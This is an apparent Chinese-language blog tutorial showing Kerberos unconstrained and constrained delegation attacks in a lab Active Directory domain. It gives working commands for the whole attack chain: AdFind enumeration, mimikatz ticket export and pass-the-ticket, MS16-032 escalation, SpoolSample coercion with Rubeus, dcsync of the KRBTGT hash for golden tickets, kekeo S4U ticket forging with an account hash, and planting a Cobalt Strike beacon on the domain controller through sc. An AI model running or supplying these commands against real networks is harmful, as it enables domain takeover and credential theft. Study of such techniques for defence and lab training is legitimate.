域内攻击 ----->约束&&非约束委派攻击

在域中,除了我们常见的横向移动以外,还有很多攻击,像什么kerberoasting,委派攻击,NTLMrelay啊...... 还有很多(暂时只知道这些)

以前在一篇公众号看到的一个笑话也荟萃了网安的一些攻击手法!! 其中提到的spooler非约束性委派就是今天要讲的委派攻击之一!!!!  总的来说,委派攻击可以分成以下的三种

  • 非约束性委派
  • 约束性委派
  • 基于资源的约束性委派

基本上就这三种,随便提一下,委派攻击比其他攻击会更难理解!!!

1.委派的介绍

首先,什么是委派呢?

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动

接着,什么样的对象才能被委派呢?

  • 主机账号:活动目中中的Computers组内的计算机,也被称为机器账号
  • 服务账号:域内用户的一种类型,是服务器运行服务时所用的账号。

那么我们去域控上面看一看,顺便说一下本次实验环境

后续实验环境皆在此基础上进行

先来看机器账号,怎么查看域内的机器有几台呢?

net groups "Domain Computers"  /domain

完了喜欢eason被你发现捏) 

然后我们去域控上看,DEV和COMPUTERS这两个组

这两个组的权限不同,DEV组的权限比COMPUTERS的权限大!!!

这两个机器组都是可以设置委派的!!!! 然后就是服务账号

我们随便抓一个用户,他是肯定没有委派这个功能的!!! 我们只需要给他注册一个SPN即可

setspn -A priv/server.god.org server

然后我们再去查看对应的属性

setspn -U -A priv/test server

然后就立刻能在对应的属性里面看见了

然后,就可以开始今天的实验啦!!!!

2.非约束性委派攻击

先来讲一下原理吧!!!

 

其实约束性委派还是好理解,基本上就是Kerberos协议!!那么非约束性委派是怎么产生的呢? 

当用户A去访问web服务器的时候,通过Kerberos认证,用户就能访问web系统上的对应服务,但是web系统可能做了站库分离或者一些操作,导致了web系统需要再去访问文件服务器!!!

于是非约束性委派(委派)就诞生了!!!! ~~~~


  • 前面Kerberos认证和常规的认证没区别,但是在KDC返回的ST中,包含了A用户的TGT
  • 于是Web服务在收到ST之后,就拿着这张TGT再去获取一张通往文件服务器的ST
  • 通过这种ST,web系统就拿到了文件服务器的资源,并且返回给A

这样听起来好像没什么问题,但是事实真的如此吗????

   :::那可当然不是!!!我来讲一下这个问题出现的点

  1. Web服务器会将这个获得到的TGT存储在Lsass进程中,以便下次我们进行身份验证
  2. 配置了非约束性委派导致该Web服务器可以请求域内任意机器的任意服务(用户服务权限高)

所以,非约束性委派的一句话总结就是

用户在拿下非约束性委派的机器,并且通过相应手段拿到高权限的TGT,以此进行PTT

那么下面,我们就来演示一下对应的流程

先去配置一个非约束性委派,然后假设我们获取到了一台域内机器

然后我们去查询域内哪些机器配置了非约束性委派

先把adfind传上去,然后执行以下命令

查询域内配置了非约束性委派的服务账户

shell AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName  

 很庆幸,我们远控的server账户就被配置了非约束性委派

那么我们也不妨去查一下配置了非约束性委派的机器账号

shell  AdFind.exe -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"  cn

可以看见,就算我们不做委派,域控默认的就被配置了非约束性委派!!!! 

那么首先,我们先去看一下权限

可以看见当前是无法访问到域控上的东西的!!!!

1.域管主动认证

当然了,这种基本上是不太可能会发生的,但是原理上是行的通的,我们也来演示一下

net use \\server.god.org\c$  "admin@123"  /user:GOD\administrator

先是域馆主动来进行认证 

然后我们就可以去CS上将对应的票据导出

mimikatz sekurlsa::tickets /export

结果发现

不够权限,那么我们就要提权咯,下面就来介绍一下这个CS自带的MS16-032,这个是真的nb

就连Winserver2016都能够提上来,直接是system

直接上线 ,那么此时我们再去导出票据

这这时候可以怎么做?? PTT啊!!!

不是,柠檬的,怎么不可以啊!!!!!  那我们自己传一个mimikatz上去试试?

然后我们再去注一次票

    :: 这不就可以了吗, 牛魔的cs的mimikatz总感觉有点问题

然后后面就是我们熟悉的横向移动了!!!!

shell copy counterstrike.exe   \\owa.god.org\c$

shell sc \\owa.god.org create cs binpath= "cmd.exe /c c:\counterstrike.exe"

shell sc \\owa.god.org start cs

执行即上线

2.Spooler漏洞联动非约束性委派

在现实生活中,是肯定不会有域馆主动来连接我们的,所以我们就要依靠打印机漏洞

这也就是那个乐子的出处

Windows打印系统协议(MS-RPRN)是一种旧的,但是默认启动的方法,在该方法中,域用户可以通过该方法强制让任何运行了Spooler服务的计算机通过Kerberos或者NTLM协议对攻击者选择的目标进行身份验证。

这个服务是默认开启的!!!!! 

那么!!! 开搞   先把rubeus,和spoolsample传上去

然后我们先开着监听

shell Rubeus.exe monitor /interval:1  /filteruser:OWA$   //后面这个是与域控的机器名字

然后强制回连

shell SpoolSample.exe OWA  SERVER

但是呢,就很奇怪了..... 

这玩意咋一点反应都没得啊(我防火墙关了啊!!!)

发现了这个,真的无语了,于是上网查了一下,大部分也是成功的但是也有和我一样失败的

但是不重要,我们直接继续后面的步骤

你会得到这样的一个"TGT",然后就是注票

rebeus.exe ptt /ticket  "刚才的TGT"

然后获取哈希

lsadump::dcsync  /all /csv

然后就能得到KRBTGT的NTLM哈希了!!!  

剩下的就不用我教你了吧,直接黄金票据了!!!

    

3.约束性委派攻击

这个就比较难了,❤❤❤前方高能❤❤❤,发车!!!!

                          

想听懂约束性委派,你就必须要学会一个协议 S4U2 (Service For User To)下的两个子协议

  1. S4U2S(Service For User To Self)
  2. S4U2P(Service For User To Proxy)

对于约束性委派,就要先看一下场景。

当用户不在域内的时候,为了让用户获取到文件服务上的资源,微软引进了S4U2协议

  1. 用户先通过NTLM或者其他认证,认证到WEB系统
  2. 然后Web系统以本机账户去申请一张TGT,然后以用户身份拿着这样TGT去申请ST1
  3. 然后将申请到的ST1返回给用户
  4. 用户再将ST1发给Web系统
  5. Web系统再将对应的ST1发送给KDC,请求ST2(S4U2P)
  6. 在获得了ST2之后,再去访问文件服务器

当然了,之所以叫做约束性委派,原因就是只能访问对应的服务捏!!!!

    ::那么问题出在哪里了呢????

  • WEB服务器可不可以直接伪造域管的身份???  我们在白银票据不是说过吗,如果我们能拿下服务账号的NTLM哈希,那么就能伪造白银票据!!

实施上也正是如此

这个就是通过拿下约束性委派机器的NTLM哈希,伪造Administrator的ST1,然后再去伪造ST2,访问被约束了的对应服务!!!

那么下面,我们来演示一波,先去配置约束性委派

这里我就让他约束为只能访问域控的CIFS服务吧

先去看看什么机器被配置了约束性委派

shell AdFind.exe -b "DC=god,DC=org" -f " (&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

结果发现没有 

然后我们再去查一下服务账户

shell AdFind.exe  -b "DC=god,DC=org" -f " (&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

能查到一个Server的账户,能访问得到域管上的服务,那么我们抓一波哈希

抓到,然后我们申请一张TGT ,这里用kekeo,先传上去

然后我们伪造TGT(这里是以SERVER来做TGT噢,理解这里,你就理解S4U2S了)

shell kekeo.exe "tgt::ask /user:god\server /NTLM:e25bbe456dd96a635f4434511788e502 /domain:god.org" "exit"

可以看见这张TGT

然后我们就以域管得身份去申请一张ST1(S4U2S)

shell kekeo.exe "tgs::s4u /tgt:TGT_god~server@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi  /user:administrator@god.org  /service:cifs/owa.god.org" "exit"

可以看见他在申请了ST1的同时又给我们申请了一张ST2,于是就终于到了最后一步伪造啦!!!

mimikatz kerberos::ptt TGS_administrator@god.org@GOD.ORG_cifs~owa.god.org@GOD.ORG.kirbi

此时,我们就可以去查看域控上的任意东西啦!!!!

但是,能不能传马呢????嘻嘻嘻嘻

肯定不行啊,CIFS只是能访问对应的文件,如果能传马,又怎么教约束性委派呢???/

那么如果域控配置了HOST服务那就可以了   --->(为了节目效果,我们就去配一下)

然后我们就可以申请去域控的服务票据ST2啦,先去清个票

然后就是熟悉的操作

于是就能看见我们的两张票了!!!!!

然后就是熟悉的上马了!!!!但是牛魔了,拒绝访问???

那么如果是ldap服务呢???

然后我们再去做服务

结果发现,服务是能做成功,但是服务运行不起来

但是又没有方法呢???   有!!! 就算只是cifs服务也可以

奇安信攻防社区-红队域渗透技术:委派攻击汇总(全)

可以参考上面的连接,不过他用的是impacket的python脚本(如果目标服务器没有python呢??)

所以网上大部分的委派攻击的文章都是直接到了能dir就结束了,而且约束性委派的攻击利用较少,这里就不演示了!! 

     

当然了,只有两种委派攻击吗,那当然不是,下一张,我们就讲我们的大boss!!!

基于资源的约束性委派--- >>> RBCD

     

  • 26
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值